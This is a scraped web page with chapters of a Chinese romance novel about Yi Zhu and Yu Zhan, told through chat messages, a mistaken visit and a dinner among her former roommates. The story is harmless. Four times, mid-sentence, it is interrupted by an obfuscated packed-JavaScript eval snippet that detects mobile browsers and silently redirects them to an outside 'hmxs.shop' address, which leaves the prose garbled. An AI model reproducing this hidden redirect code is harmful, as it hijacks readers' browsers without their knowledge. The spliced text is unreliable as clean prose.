;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969786|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊竺心里早已冻结了的某块地方被这几个字轮番砸了几下,堆积了许久的情绪不断撕扯着那张假面,让她难以自控。 她想到喻湛之前的冷漠,想到他回复消息时的敷衍,想到他拒绝自己时的轻快,想到他极难伺候的脾性,但此刻却只剩下他跑来楼下时自己内心的喜悦,他送来安康时自己内心的惊喜,以及他来看演出时自己内心的兴奋……喻湛在她的唇上咬了一下,像是惩罚她的心不在焉,又像得逞后的耀武扬威。 伊竺感觉到了疼,瞬间冷静下来。喻湛还真提醒她了,他就是个彻头彻尾的坏种,亲她估计就是为了玩她。 伊竺不知道自己的脑子里为何只剩些喻湛能让她觉得开心的画面,她只知道喻湛怎么可能喜欢自己,他做的坏事这么多,多到她可以在心里罗列一堆,却没想自己方才还是被他的眼泪所迷惑,又给了他一个得寸进尺的机会。 一道清脆的巴掌声在走廊里响起。 喻湛被扇得偏过头去,脚步踉跄了几下。 伊竺的身子因极度愤怒而颤抖,她双拳紧握,抬眸瞪向喻湛,冰冷的话汇成锋利的刀,一字一顿地插在喻湛的心脏上:“你怎么可以这样羞辱我。” 她不仅没看出来,甚至还觉得被他羞辱。喻湛脸上火辣辣的疼,心里更是火烧一片。 伊竺的眼眶此刻反倒有些红了:“你不喜欢我,就应该好好跟以前一样,将我冷着,不搭理我,而不是像现在这样,逗我,耍我,玩我,羞辱我。喻湛,你很过分,你知不知道?” 伊竺以为他跑过来找她是在逗她,嘴上说不来看她演出最后却偷偷摸摸来了是在耍她,在她面前掉眼泪是在玩她,情难自禁时亲她是在羞辱她…… 可她全都以为错了。 喻湛好想抱住她,让她听听他现在心跳得到底有多快。 他想,他确实有点过分。 过分喜欢伊竺。 他的指尖在伊竺身侧试探了许久,深吸一口气后,握住了她的手腕,她想要甩开他,却被他抓得更紧。 “放手。” “你说要当我的眼睛,这话算不算数?”他想问清楚。 “有前提。”她点出关键。 他渐渐松了手,伊竺没再看他一眼,从他面前离开。 7. 一颗甜枣 . Dervla乐队终于拉到了几个广告赞助。几天后,乐队几人相约在其中一个品牌公司楼下,准备拍摄宣传片。 伊竺其实挺讨厌拍照的,她非常不喜欢在镜头前矫揉造作摆姿势的感觉,所以照片连拍几组都非常僵硬。大褚生怕她拖慢进度,便一直在旁边给她做些简单的动作指导。 伊竺也不想在这种事上浪费时间,得到大褚的指点后,就像被打通任督二脉那般流畅地结束了拍摄。 大褚很高兴,当场决定今晚去聚餐。他想起了前几日让伊竺去找青旅老板聊见面感谢的事,见她一直没说,于是开口提了嘴:“小竺,青旅老板考虑得怎么样了?” 伊竺这才想起这事来:“我也不清楚,过会儿我再问问。” “行。你想办法把他叫来,咱们之前劳烦他这么久,如今好不容易有了自己的练习室,离开之前总该要当面谢谢他。” 伊竺:“好,我尽力。” 她不记得自己有多少天没见到喻湛,好像自从上次不欢而散后,他们就再也没有联系过了。伊竺倒没觉得有什么,依旧该干什么就干什么,将自己的每件事都认认真真地做到最好。 她借这次休假将驾照考出来了。回到公司上班后,她立刻接了个新项目,去郊区考察了几天。安康如今也被她养得胖了些,许是性子本就欢脱调皮,每次伊竺一回到家,她都会从狗窝里飞奔出来,跳上中岛台,一把撞进伊竺的怀里。 安康喜欢舔伊竺的锁骨,喜欢贴在伊竺身上,但有次嗅到她身上有陌生的香水味后,她就立刻跳回地面,开始激动地乱跑乱叫。她聪明得很,不喜欢伊竺身上出现其他怪味。 伊竺刚打开门,原本还等在门口的安康立刻加速冲过来,咬住她的裤腿。伊竺将包挂在挂衣架上,弯下腰去捞安康,将她抱进怀里:“你又在等我回来?” 安康伸出粉红的舌头舔了舔伊竺的手背。伊竺给她倒了点狗粮,她安静地吃着。伊竺就坐在一旁,瞧着她乖巧的模样,心中再次想起了将她送过来的喻湛。 若大褚今天不催她,她是一点也不想找他的。 伊竺点开喻湛的聊天框,发现他俩的消息还停在十天前。她指尖在屏幕上停顿了许久,发了这几天来的第一条消息。 :我们以后不去你滨海路的那家青旅排练了。 那头许是在忙,很久都没有回她。 伊竺也没准备等他,回房休息了一会儿。等她醒来再拿起手机,就看到了喻湛的消息静悄悄地躺在那里。 哼哼大王:好,知道了。 :以后就不劳烦你了,所以我们乐队的其他成员都说要好好谢谢你。我们今晚聚餐,他们希望你能来。 哼哼大王:…… 哼哼大王:伊竺你根本没有心。 :说什么鬼话? 哼哼大王:十天不给我发消息也就算了,我可以忍。但你刚刚发的那句,我跟陌生人都不带这么冷漠说话的。 :哦,你是你,我是我,我有一套自己的处事原则,这么对你说话也已经够客气了。 :你要觉得受不了,那咱们以后还是别聊天了。 喻湛觉得伊竺可能是属炸药的,每次一碰到他,就准能爆炸。但喻湛没觉得有什么,伊竺能有自己的小性子是件好事,她不该为了别人改变自己,他愿意保护她的小脾气,甚至认为这样的伊竺还有点可爱。 安康正好吃完了狗粮,伊竺收好她的食盘清洗干净,随后抱着她缩进沙发里。 喻湛给她发了消息。 哼哼大王:是有点太客气了。 哼哼大王:你以后跟我说话可不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969787|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍微温柔一些? :没门。 哼哼大王:你跟你朋友也这么说话的吗? :嗯。 哼哼大王:但我俩之间是普通朋友吗? :也可以是。 哼哼大王:…… 哼哼大王:谁要跟你当朋友! :那就当陌生人吧。 哼哼大王:你这样说话,我会伤心的。 :怎么,你又会哭吗? 哼哼大王:嗯,我会哭的。 :哭瞎你的眼睛,我也懒得管。 哼哼大王:那你就是我的眼睛啦! 伊竺差点都快忘记自己对他说过的这句话,她当时也不过是想让他停止哭泣而已。 :那我还说到时候你就任我摆布了。 哼哼大王:我现在就可以任你摆布,根本不用等到那时候的,伊竺。 :别得寸进尺。 伊竺觉得自己好像已经可以想象到喻湛此刻的表情了。他定是捧着手机非常不服气地轻哼几声,然后将手机甩到一边,又在心底吐槽几句。 她甚至可以猜到喻湛在心里都会说些什么,他一定会说,那真是对不起喽,我就是在得寸进尺这件事上天赋异禀。他有时候就是会像个幼稚中二的高中生,还没反应过来的时候就已经蹬鼻子上脸,搅得人不得安宁了。 哼哼大王:我这就算得寸进尺了? :怎么不算。 伊竺刚在心里做好决定,以后不能再让喻湛这么肆无忌惮下去了,结果就收到了他发来的消息。 哼哼大王:伊竺,我觉得我得提醒你,我俩现在是情侣,是可以互相为对方解决任何问题的关系,是可以好好聊天激励鼓舞对方的关系,是彼此之间最亲密的关系。我们在对方面前偶尔温和地得寸进尺一下,又能怎样呢? 8. 一颗甜枣 伊竺还真没想过这样的问题。她其实也知道情侣之间应该是什么样的,但她实在没法和喻湛做到那样的程度。 她发现自己可能确实有点传统,认为牵手、拥抱和亲吻都是心意相通的两个人才应该做的事。那晚回去之后,她也有仔细地思考过,但左想右想都觉得,她和喻湛现在怎么都不该是可以做这些的关系。 伊竺的指尖停在屏幕上,过了许久才回复了他的消息。 :我会想削你。 哼哼大王:…… 哼哼大王:伊竺,你又这样。 :我本来就这样,你又不是不知道。 哼哼大王:你好冷酷。 :你好有病。 哼哼大王:你好漂亮。 :你好神经。 哼哼大王:你好可爱。 :你别说话了。 哼哼大王:你害羞了? :闭嘴。 哼哼大王:伊竺,你原来会害羞啊? 伊竺从前确实很少有除冷脸外的其他表情,她一贯都是如此,独来独往,冷言冷语,不慌不忙,做的比说的多,她甚至觉得任何感情于自己而言都可有可无。 但不知从何时开始,她的身上有了许多许多情绪,她会哭会笑,会吵会闹,她好像逐渐能感觉到自己正在被爱包围。 :跳过这个话题。 哼哼大王:行。 有时候甚至还觉得喻湛确实对自己挺好。 :现在能不能回答我问你的那个问题? 哼哼大王:什么问题? :往上翻,自己去找。 哼哼大王:和你乐队的人去吃饭? :嗯。你去不去?我队长已经在群里问我了。你现在立马决定一下,我过会儿好跟他说。 哼哼大王:你去不去? :我不去,我今晚有约了。 :他们都知道。 伊竺的研究生室友今天全都在黎映,她们上星期就已经约好一起去吃饭了。大褚本想趁今日拍完宣传照后就去聚餐,但非常不巧,章施华和沈笑就是今日落地黎映。她们发出的邀请要先于大褚,伊竺也不好拒绝,于是便跟大褚说明了情况。 大褚并非会刻意为难人的性子,听完她的解释后,也只是拿让她把青旅老板喊来的条件做交换。 哼哼大王:那我也不去。 :理由。 哼哼大王:你不在,没意思。 :换个。 哼哼大王:今天身体不太舒服。 伊竺指尖顿住,无意识地敲在安康的脊背上,安康疼得“汪”了几声,她这才反应过来,立刻揉了揉安康的毛发。 他怎么突然不舒服了?难道是那天晚上着凉了?伊竺记得那天她离开后似乎又下了雨,他淋到雨了? :怎么个不舒服法。 哼哼大王:那天被雨淋湿了,有点感冒。 哼哼大王:不过跟你没有关系。 哼哼大王:是那天你走了之后的事。 :你能不能长点心。 :同样的错能不能别犯第二次。 :你是不是想作死自己才高兴。 喻湛许是被她连发三条的短信给震撼到了,迟迟没有回复。伊竺有些懊恼,将手机丢到一边,她好像在喻湛面前有点暴露了自己的担忧。她轻轻抚摸着刚刚不小心在安康脊背上敲到的地方:“安康,你有没有觉得喻湛很讨厌?” 安康眼珠子转了几下,伊竺默认她也觉得喻湛很烦。“叮咚”一声轻响,喻湛的消息跳了进来,打断了她的思考。 哼哼大王:伊竺,你生气了? :我懒得管你。 哼哼大王:别生气,你先听我说。 哼哼大王:那件事……确实是我的问题,我不应该没经过你的同意就冒犯你,我跟你道歉。你这么多天不来找我,肯定是因为那件事在跟我生气吧? 喻湛觉得伊竺就很像他和陆巡当初买来养在公寓的那只小猫阿幸,有点高冷,有点难接近,很独立,也很聪明。 他偶然发现阿幸讨厌一切跟奶油有关的东西,她不喜欢甜食,但后来又发现她喜欢吃蒸南瓜。他收集着一片片关于阿幸的拼图碎片,慢慢拼成一个完整的她。 他对伊竺也是这样。 他知道伊竺喜欢素色,喜欢音乐,喜欢吃樱桃煎,喜欢人少的地方,喜欢安静,喜欢不被打扰……只是关于她的拼图实在太多,他还没做到一片片地拾起,并拼好。 喻湛时常认为人有喜恶是件很可爱的事情。伊竺是个喜欢将情绪摆在脸上的人,所以喻湛能很轻易地从她那知道很多关于她的信息。他反思过,作为伊竺的男朋友,他并不称职,也不够格,所以伊竺经常冷落他,好像也都在情理之中。 喻湛瞧着迟迟没有跳出消息的聊天框,视线上移,落在最顶端的那行字上,此刻显示着对方正在输入,但很快又跳回了战斗蝴蝶……来来回回好几次,却依旧没有收到一条信息。 她估计在思考,如何委婉地问出“他为什么这几天都不来找她说清楚这事”。喻湛很早就发现了,伊竺其实特别嘴硬心软。 哼哼大王:伊竺,我知道你想说什么。这几天整个人都浑浑噩噩的,根本打不起精神来,我连手机也没怎么看过,所以没能找你,本来确实想跟你把这事说清楚的。 :哦,知道了。 :我会跟我们乐队的队长如实说你的情况。 哼哼大王:伊竺。 哼哼大王:除了这些,你还有没有别的要跟我说? :你休息去吧,先别想事了。 哼哼大王:还有吗? :没了。 哼哼大王:你一点也不关心我。 :你也没怎么关心过我。 哼哼大王:我错了,对不起。 :知道错了就行。 喻湛又拾到了一片关于伊竺的拼图,他发现伊竺需要很多很多的爱。她平时嘴上虽说根本不在意有没有人会关注自己,但实则她心里都记得门清,他什么时候干了什么不对的事,她都知道,她还能一点一点细数出来。 她不善言辞,不爱讲话,有时候就是喜欢将事憋着,即使烂在肚子里,也不肯轻易告诉别人。 哼哼大王:那你想好怎么惩罚我了吗? :罚你一星期不准跟我讲话。 哼哼大王:这个我真做不到! 哼哼大王:你换一个! 哼哼大王:我不要这么可恶的! :少在这跟我蹬鼻子上脸,我根本不吃你这套。 哼哼大王:伊竺,你行行好。 哼哼大王:要不你跟我说说你最近最想做的事,或者最想去的地方,等我感冒好了,我就带你去。 伊竺并非心硬之人。 :那你就替我去海边捡垃圾吧。 这是经理这星期给她的新任务,她正愁着新买的防晒还没到,她顶着太阳的暴晒去干活,回来后定会晒黑几个度。 :你感冒一直不见好,估计就差流这点汗了。 哼哼大王:…… 哼哼大王:你这狠心的女人,我跟你拼了。 :不乐意做?那就一星期别跟我讲话。 哼哼大王:行,我去还不行嘛。 哼哼大王:[图片] 哼哼大王:我家里最大的袋子。 :神经。 哼哼大王:袋子越大,装得越多,效率越高,好得越快。 哼哼大王:要是感冒真能好,到时候我们见一面吧,我想当面跟你把那件事说清楚。 他到底为什么如此喜欢当面说事? 伊竺觉得喻湛简直就是个神经质,她根本不相信他看不出来自己刚刚只是在开玩笑,但他却真能顺着她的话题陪她闹。他最近好像真的不一样了,他变得爱跟她交流了。他们之间那些以前所遗留下来的问题,就在这几日已经解决了许多。 她好像也没那么反感喻湛的接近,甚至看到喻湛的眼睛也正在目不转睛地盯着自己看时,心里突然就觉得开心。 她发觉,原来谈恋爱也可以是件这么有趣的事情。 偶尔拌嘴,偶尔打闹,他愿意在工作的百忙之中抽空来找她,她似乎也不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969788|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他挡在心墙之外。 :我跟你开玩笑的。 哼哼大王:什么? :我说, :喻湛,好好吃饭,好好休息,快点好起来,别在生病了。 不知不觉间,她就说出了一些从前不会同他人随意说起的话。她向来觉得这些话肉麻。 哼哼大王:我知道了,伊竺。 :你现在身子比我姥姥还虚,我都懒得说你。 哼哼大王:你闭嘴! 哼哼大王:等我好了,我立马就去健身房。 :你去就去,跟我说什么。 哼哼大王:我要狠狠惊艳你,让你后悔说出那句话。 :…… 哼哼大王:你给我等着。 伊竺勾起唇,没忍住笑出声来,她指尖一点:哦,行呗。我就等着看你能练到什么程度。 :[照片] :不到这种程度,你以后都别跟我说话了。 哼哼大王:哎呦。 哼哼大王:这种程度简直就是小菜一碟。 哼哼大王:我现在就可以给你看。 她想,喻湛还真是爱胡搅蛮缠。 他简直比三岁小孩还幼稚。 . 陆巡刚端着给喻湛煎好的中药进来,就瞧见这位前几日还一副半死不活样子的主突然踢开被子,从被窝里钻了出来。 陆巡差点没拿稳药,泼在喻湛身上。他在心底默默吐槽了几句,准备将喻湛的药放在他的床头柜上,但他还未有所动作,喻湛便推推搡搡地将他关在门外。 “诶,喻湛,你药不喝了?” 里头不知道在干什么,发出叮铃哐啷一阵响动,几秒后,一道略微虚浮的声音传了出来:“不喝了。” 陆巡:“?” 神经。陆巡在心底咒骂一声,转身将喻湛的药放回厨房。他以后再关心喻湛,就是真有病。那哥们都不带领情的。 殊不知,他的哥们此刻正裸着上半身站在镜子前。 喻湛做了个正展双肱二的动作,觉得稍显油腻,又换了个侧展腹肌,还是觉得不得劲,他干脆站直身子,用平静的目光描绘着自己的肌肉和曲线。他之前读书时经常去健身房锻炼,所以身材底子还算不错,薄肌,宽肩,劲腰,他又重新打开手机去找伊竺发来的那张照片,反复看了几遍,身子也放松下来,看的出来她喜欢的就是这款。 喻湛举起手机,对着镜子自拍一张。觉得不够,可能无法让伊竺看清自己,他又稍稍侧身,展示出他最满意的肱二头肌和腹肌,连拍了好几张照片。他坐回床上,将自己裹回被子里,认真去找可以发给伊竺的照片。 他得找张最合适且最能凸现他身材的才行,既不能让她觉得突兀,也不能让她觉得他很轻浮。 喻湛只觉得大脑有些充血,就连浑身的细胞都在不停地叫嚣着。他挑到一张最满意的照片,指尖在屏幕上停顿了许久,也没发出去。陆巡在外面敲了下他的房门,他注意力还没集中,指尖一点,就将照片传了过去。 “喻湛,我现在去吃饭,你想吃什么就微信里告诉我哈。” 喻湛瞧了眼手机,实在不敢面对,直接扔到一边,他深吸一口气,压下想冲他发火的那阵冲动:“赶紧走吧你!” 陆巡不知道在外面嘀咕着什么,没一会儿喻湛就听到他关门出去的声音。 喻湛脱力地倒在床上,抱着被子翻滚了几圈,陆巡真是该死啊,他根本都还没做好心理准备,接下来该怎么办,伊竺要是不喜欢他这样的,他以后又该怎么面对她? 喻湛倏地坐直身子,麻木地抬高视线去看镜子里自己此刻并不太淡定的脸庞,许是生病的原因,那里正泛着一层不健康的薄红,他无奈地轻笑一声。 心里却很清楚,自己为什么会变这样。他很期待伊竺看到自己照片后的反应,他希望伊竺能够多在意他一点。 “叮咚”一声,手机里跳出消息。 喻湛根本不敢去看,闭眼做着深呼吸。等心里那股莫名的悸动散去后,他才颤着手指点亮屏幕。 战斗蝴蝶:开门。 9. 一个巴掌 喻湛愣愣地捧着手机,心里正控制不住地想着,伊竺这话是什么意思?莫非……她听说自己感冒后就立马赶过来了? 她……真的来了吗? 喻湛只觉得发烧后的余热正在他身体里蔓延,引燃了他的心脏,让他变得躁动起来。 他甩开被子,猛地起身,在原地站了会儿,却又不知道自己要先往哪走。他急得揉了把头发,却摸到了一手头油,他才惊觉这几天因为生病自己都没怎么下过床,此刻邋遢得像只不能见光的老鼠。 伊竺要是看到这样的自己,应该会特别嫌弃。 一点儿也不想被伊竺讨厌。 喻湛顾不上太多,在衣柜里找了套清爽的衣服,急匆匆地冲进卫生间,他以最快的速度将自己收拾干净,出来后,又不放心地嗅了嗅自己身上的味道,确定没有刚才那股蔫巴味后,才朝着镜子扬起一个自以为灿烂的笑容,去门口开了门。 然而,激荡的情绪在看到来人后极速地落了空。 喻湛脑袋还滑稽地抬着,一句“你也真是的,怎么还特意跑来一趟啊”就这样硬生生地卡在了他的喉间。 门外。 外卖小哥正举着手机通电话,看到喻湛后,对着那头说了句“打扰您了,他现在开门了”。那头不知道都说了些什么,小哥咧嘴爽朗地笑了两声,挂断电话。 外卖小哥将药递给喻湛,不经意地打量了他几眼后转身跑上楼梯,又匆忙地赶去送下一单了。喻湛依旧站在门口发愣,下秒就听见外卖小哥幽幽的声音从楼梯间转角传过来:“这辈子有了,还真没见过比这货更墨迹的男人了。” 喻湛:“……” - 伊竺本来确实想亲自跑一趟,给喻湛送点药的。但刚走到小区门口,就看到一起打车过来的章施华和沈笑。沈笑心情好得没边,挽着章施华的手站在路边等慢一会儿才赶到的和暮。 几人笑着拥抱了几下,才转身往小区走。沈笑最先看到刚从小区里出来的伊竺,跳着朝她招手:“伊伊,这里这里!” 伊竺真没招了,将打包好的药箱往身后藏了藏,心里正想着自己出来的时机好像有点不太妙。 沈笑朝伊竺飞奔过来,给了她一个大大的熊抱。 “伊伊,我俩得有一年没见了吧?你好像又瘦了点。”沈笑捧着伊竺的脸看了许久,又将脑袋埋进了她的肩膀,“你也不来漓川找我,我都快想死你啦。我们寝室就属你最坏,章姐和暮暮都来找我玩过,就只有你没有,你好狠的心啊!” 伊竺:“我挺忙的。” “你要这么说的话,我可得反驳了,你说说咱们几个谁不忙?我每天都熬夜写教案,章姐经常昼夜颠倒,暮暮可能稍微好点,至于你……”沈笑适时闭上了嘴,“伊伊,我是觉得工作再忙,咱们也得找时间跟朋友聚聚对不对?” “知道了。” “这才对。要懂得劳逸结合!我看你就是比之前瘦,你是不是忙起来的时候又忘记吃饭?你这样可不行,会饿出胃病的!” “我都知道的。” “你知道个鬼知道!”沈笑显然不信伊竺,她瞥了眼伊竺的手,这才发现她提着药箱,“你不会真的病了吧?” 伊竺将药箱又往身后藏了藏,冲她摇头:“真没有。” “那你提药箱干嘛?”沈笑冲她挤眉弄眼着。 “……有人病了,我去送点药。” “谁病了?很严重吗?去医院看过吗?”沈笑最爱一次性问出多个问题,伊竺根本不知道该回她哪个,索性保持沉默。 “你又这样,遇到不想回答的问题就不回答了。” 和暮终于拉着章施华走过来了,她刚好听到沈笑最后说的那话,忙吐槽一句:“知道你还问。” 沈笑:“……” 话题被和暮给掀过去了。 伊竺感激地看了她一眼,领着她们三人回到家,沈笑一眼就被等在门口的安康吸引,当下就忘了伊竺方才还准备偷偷摸摸给别人送药的惊天大瓜。 “伊伊!你养小狗了?” 伊竺准备好拖鞋,去厨房给她们倒水:“嗯,别人送的。” “谁这么好心啊,竟然送你一只小泰迪?”安康怕生,朝沈笑叫了几声,沈笑笑着将她捞进怀里,“别怕,我是好人!” 伊竺又沉默了。她当初跟喻湛在一起的时候,根本没有和宿舍的其他三人提起过,所以她们都还不知道喻湛是她对象。 沈笑知道自己肯定问不出来,“算啦,我还能不知道你嘛,不想说咱们就不说了,其实我也不是很想知道的啦。” “对了伊伊,她叫什么名字?” 伊竺松了口气,在她身旁坐下:“安康,她叫安康。” 沈笑喜欢得不得了,抱着安康又亲了几口,嘴里直念叨着“安康,小安康,你好可爱呀,我好想把你带走,你跟我走好不好”。安康从她怀里跑出来,缩在伊竺脚边,怯生生的。 沈笑依旧笑呵呵,“果真是小狗随主人,你家安康和你简直一个模子里刻出来的破性格,都高冷得要命!伊伊,我到现在都还清楚记得你刚进宿舍的模样,孤零零的,还耷着张脸,我们几人正聊着天呢,你一进来,即使没讲话,话题也冻住了。我当时就想着,怎么能有这么扫兴的人……” 和暮瞧了眼伊竺,给沈笑递了个眼色:“说什么呢,没准小安康只是怕生,你一进来就抱着她一顿啃,像个没见过世面的怪阿姨,她不躲着你才怪。” 沈笑立马停住话题,神色慌乱地瞥了几眼伊竺。 伊竺面上没有任何表情,只是望着沈笑,也不说话。心里却在想着,原来在别人眼中,她从前是个连不说话时都很扫兴的人吗?她活了这么久,其实从未真正地了解过自己,直到这一刻,她才有了点对自己的认知。 她好像慢慢拼出一点自己的轮廓了,要强,坚硬,习惯防御。她就像一座带着瞭望塔的城堡,外墙上有着风霜的痕迹,门楣上刻着“生人勿近”。她早已习惯将所有人都挡在门外。 沈笑绞尽脑汁地找补:“刚开始跟你相处确实挺费劲的,但后来我就慢慢发现,你只是慢热而已。我想起来了,之前有次我跟暮暮闹了别扭,当初你夹在中间进退两难,但最后这事能解决,还得亏你能一碗水端平呢。伊伊,你心思缜密,能及时发现别人的小情绪,那次其实是你安慰了我和暮暮。” “那你呢,你又该怎么办?你也很为难,很难受,但你在我们面前都没表现出一点异样情绪……” 伊竺眼睫轻颤了下,举起水杯抿了口白开水。 “你总是这样,什么事都自己憋在心里,不说出来。再这样下去,你会憋出病来的。” 伊竺只是笑笑:“我真没事。” 从小到大都是如此。 伊竺也早已习惯了自己解决问题,她拥有处理好一切危机情况的能力,说她要强也好,说她忍者神龟也罢,她根本不需要依赖别人,她自己就可以。 章施华撞了撞伊竺的肩:“真没事?” “嗯。” “那都放松点。”章施华搂上她的肩,主动活跃气氛,“借此机会,我要跟你们宣布一件事!” 和暮好奇地凑到她身边:“你要和你那‘小奶弟’结婚了?” 章施华的眉毛一拧,赏了和暮一个爆炒栗子:“别咒你姐,我现在正高兴着呢!你们都给我听好了,从今天开始,你们的章姐我又重新恢复单身啦!” 沈笑显然很激动:“姐,你换脑子了?” 章施华:“?” “说!你把你那该死的恋爱脑丢哪去了?” 章施华:“……” “怎么分的?”沈笑摇摇头,又换了个措辞,“不对不对,我应该这样问,他这次终于踩到你的底线了吗?” 章施华无语地白了她一眼。 “他对未来都没有规划。” 和暮挑了挑眉:“就这?这要放在以前,你根本都不会放在心上,该舔的还舔。” “他还是个超绝妈宝男。” 和暮一口水喷了出来:“那确实该丢。” 章施华释然一笑:“我现在倒是轻松了。当时跟他提分手时,我脑海里只有伊伊跟我说过的话。爱情不是人生的全部,婚姻也不一定会让我变得幸福。我有比他骄傲的学历,比他宽阔的眼界,比他平和的心态……我会有比他更成功的未来。所以我为什么要把自己困在他身边。” 和暮:“你能这样想,我们都很欣慰啊姐。” 章施华没理和暮,只是看向伊竺,她的脸上根本没有表情,但章施华却在她的双眸中看到了自信、强大和坚韧。 那首诗怎么说的来着,料青山略输我峥嵘,判江河亦低我磅礴。望长空不及我辽阔,感骤风亦惧我刚烈。 她突然想起伊竺平时从不会亏待自己,她很会照顾自己,是她们宿舍早睡早起的标杆;她从不讨好别人,遇到让她不舒服的人就会远离;她从不内耗,也很少有焦虑的时候,能够直面挫折和困难,并能第一时间去解决问题,而不是责怪自己;她能在别人夸她的时候,大方地说出“谢谢”,而不是“哪里哪里”…… 她是有底气说出这些话的人。章施华觉得,是她身上的那股韧劲,让她有力量度过任何难关。 章施华轻轻吐出一口气,笑道:“今天我心情好,我请你们去吃大餐!” 沈笑凑到她面前,提议去吃蟹肉煲。 “好!出发去马铺街胖哥俩蟹肉煲!” - 沈笑今天心情实在太好,喝了点酒。她有些醉了,颤颤巍巍地抱着酒瓶子要给章施华也倒一点,章施华拒绝喝酒,她委屈极了。不知道她想到了什么,突然“哇”得一声就哭了出来。 章施华没来得及去适应单身的美好生活,还反倒要先来安慰这个活宝。沈笑擦擦眼角的泪,扬起唇角又笑了:“终于分手啦,你不知道看你谈恋爱的这俩年,我比你都觉得难熬。” “你那对象已经不止一次犯这样原则性的错误了吧,之前是因为你真的好喜欢他,我们就没有劝你。但你这恋爱谈得真累,每次我都发现你是生龙活虎地出去,满脸愁容地回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969789|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你自己说说,这天下,哪个人谈恋爱会把自己谈成像你这样的?咱们是什么离开男人就会活不下去的寄生虫吗?要一直委屈自己,挂他身上。我如果是你,我都嫌恶心死。” “姐,要我说这世界上男人一抓一大把,这个不行,就直接踢掉,下个还更好呢。你也没必要为踢掉一只蝗虫而伤心。会因为失恋痛苦的人,就是这个世界上最天真的大傻子!” 章施华跟和暮换了位置,到沈笑的身边坐下。沈笑紧紧握住她的手,难得认真地说道:“姐,你听我的,我虽然人脉不广,但我遇到好的且适合你的男人,肯定会第一时间告诉你。” “求你,你别自己在外面找男人了……”她又给自己整哭了,章施华脸上原本挂满了对她的心疼,但在听完她这句话后就彻底黑了。 这死小孩现在是在内涵她眼光实在太差了? 和暮没忍住笑了,沈笑也终于意识到自己方才都说了些什么,抬起泛着水光的眸可怜兮兮地看她,章施华咬着牙问候道:“沈笑,你少给我在这装可爱,我现在真的很想揍你!” 沈笑立刻起身躲到了伊竺旁边,伊竺神色淡淡地瞥她一眼,随后又自觉换去了章施华身边。 就在沈笑方才闹笑话的功夫里,伊竺和和暮已经吃得有八分饱了,伊竺先放下筷子,挑了块西瓜吃着。沈笑总是很神经质的,这会儿思维又从章施华的前男友跳到了她们的将来。 “你们说,我们以后一起结婚怎么样?” 和暮终于插上了话,但开口就在堵她:“得了吧你,连对象都还没影儿呢,就想着结婚去了?” “所以我这不……只是在憧憬我们的未来嘛。”沈笑夹了块年糕,塞进和暮嘴里,堵住她,防止她开口说话。 她看向伊竺:“伊伊,你也说话啊。” 伊竺又叉了块西瓜,思考了几秒,冲她摇头:“我没打算结婚,我觉得婚姻生活挺恶臭的。” 气氛安静得可怕,没人再出声。 伊竺抬眸瞧她们一眼,又垂头去吃水果。 沈笑思维活的很,这种死寂的话题根本难不倒她,她又开始搞怪了:“你们说,我们现在这样像不像那种好像就快要死了,然后死前聚在一起聊理想,聊人生的灵魂病友?” 和暮就差直接端了沈笑的饭碗,她冷静下来后无奈开始吐槽:“你可把嘴放干净点吧,咒你自己就算了,别咒我们。” 伊竺也瞥她一眼,不再说话。其实她挺认同沈笑刚才那句话的,她们都像是被生活打击到生病,然后装成无忧无虑的大人样坐在这里狂欢的。要说有病,她们谁还没点疯在身上。 沈笑醉了,和暮这么说她,她也不恼,只是端酒杯起身,摇摇摆摆地走到中间,带着醉意说道:“我们碰一个,就当是在庆祝我们……都能有个美好的未来,怎么样?” 和暮举起酒杯站起来,章施华也照做。伊竺还坐着,看到她们的动作后垂下眸,随即端起面前的饮料跟她们的相撞。 沈笑神经大条地喊出声:“周一快乐!周二也快乐!周三周四周五还会更快乐!以后的每一天都会越来越快乐的!” - 